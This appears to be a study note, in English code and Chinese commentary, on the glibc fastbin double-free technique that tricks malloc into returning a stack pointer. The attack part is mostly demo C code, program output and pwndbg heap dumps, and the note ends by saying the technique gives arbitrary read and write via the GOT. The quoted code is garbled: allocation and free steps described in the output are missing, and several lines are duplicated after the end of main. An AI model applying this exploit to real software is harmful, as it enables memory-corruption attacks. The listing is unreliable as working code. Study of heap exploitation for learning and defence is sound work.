int main() { fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n" "returning a pointer to a controlled location (in this case, the stack).\n");
unsigned long long stack_var;
fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.\n"); int *a = malloc(8); int *b = malloc(8); int *c = malloc(8);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); unsigned long long *d = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", d); fprintf(stderr, "2nd malloc(8): %p\n", malloc(8)); fprintf(stderr, "Now the free list has [ %p ].\n", a); fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" "so that malloc will think there is a free chunk there and agree to\n" "return a pointer to it.\n", a); stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8)); fprintf(stderr, "4th malloc(8): %p\n", malloc(8)); }
fprintf(stderr, "1st malloc(8): %p\n", d); fprintf(stderr, "2nd malloc(8): %p\n", malloc(8)); fprintf(stderr, "Now the free list has [ %p ].\n", a); fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" "so that malloc will think there is a free chunk there and agree to\n" "return a pointer to it.\n", a); stack_var = 0x20;
malloc chunk d
这个时候程序会从fastbins里取一个,由于fastbins是LIFO(Last in First out).chunk A会被取出使用。倘若我们这个时候能对chunk D进行操作,如d = (unsigned long long) (((char*)&stack_var) - sizeof(d));由于stack_var = 0x20;这样的定义是在函数内,所以stack_var的地址将在栈上,通过对指针d的操作,我们可以伪造一个chunk,并将这个chunk放在栈上。
This file extends on fastbin_dup.c by tricking malloc into returning a pointer to a controlled location (in this case, the stack). The address we want malloc() to return is 0x7fff02a085c8. Allocating 3 buffers. 1st malloc(8): 0x146b010 2nd malloc(8): 0x146b030 3rd malloc(8): 0x146b050 Freeing the first one... If we free 0x146b010 again, things will crash because 0x146b010 is at the top of the free list. So, instead, we'll free 0x146b030. Now, we can free 0x146b010 again, since it's not the head of the free list. Now the free list has [ 0x146b010, 0x146b030, 0x146b010 ]. We'll now carry out our attack by modifying data at 0x146b010. 1st malloc(8): 0x146b010 2nd malloc(8): 0x146b030 Now the free list has [ 0x146b010 ]. Now, we have access to 0x146b010 while it remains at the head of the free list. so now we are writing a fake free size (in this case, 0x20) to the stack, so that malloc will think there is a free chunk there and agree to return a pointer to it. Now, we overwrite the first 8 bytes of the data at 0x146b010 to point right before the 0x20. 3rd malloc(8): 0x146b010, putting the stack address on the free list 4th malloc(8): 0x7fff02a085c8 最后效果如上,我们发现当chunk a被拿出来后,由于我们伪造了chunk a的fd,造成如下效果。 Pwndbg> fastbins fastbins 0x20:0x603000-▸0x7fffffffe388-▸0x603010◂-0x0 0x30:0x0 0x40:0x0 0x50:0x0 0x60:0x0 0x70:0x0 0x80:0x0 这个时候形成如上的链表结构,这个时候当我们再malloc一块内存的时候,系统会误以为是我们假的chunk是自的的。他会把这块chunk拿出来用。 Pwndbg> heap Top Chunk: 0x603060 Last Remainder: 0 0x603000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x7fffffffe388, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0x603020 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x603000, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 小结:对于 fastbins,可以通过 double-free 覆盖 fastbins 的结构,来获得一个指向任意地址的指针。如果我们把这个地址指向 got 地址,如果我们可对 chunk 进行写或者读操作,我们就有了任意地址写 和 任意地址读。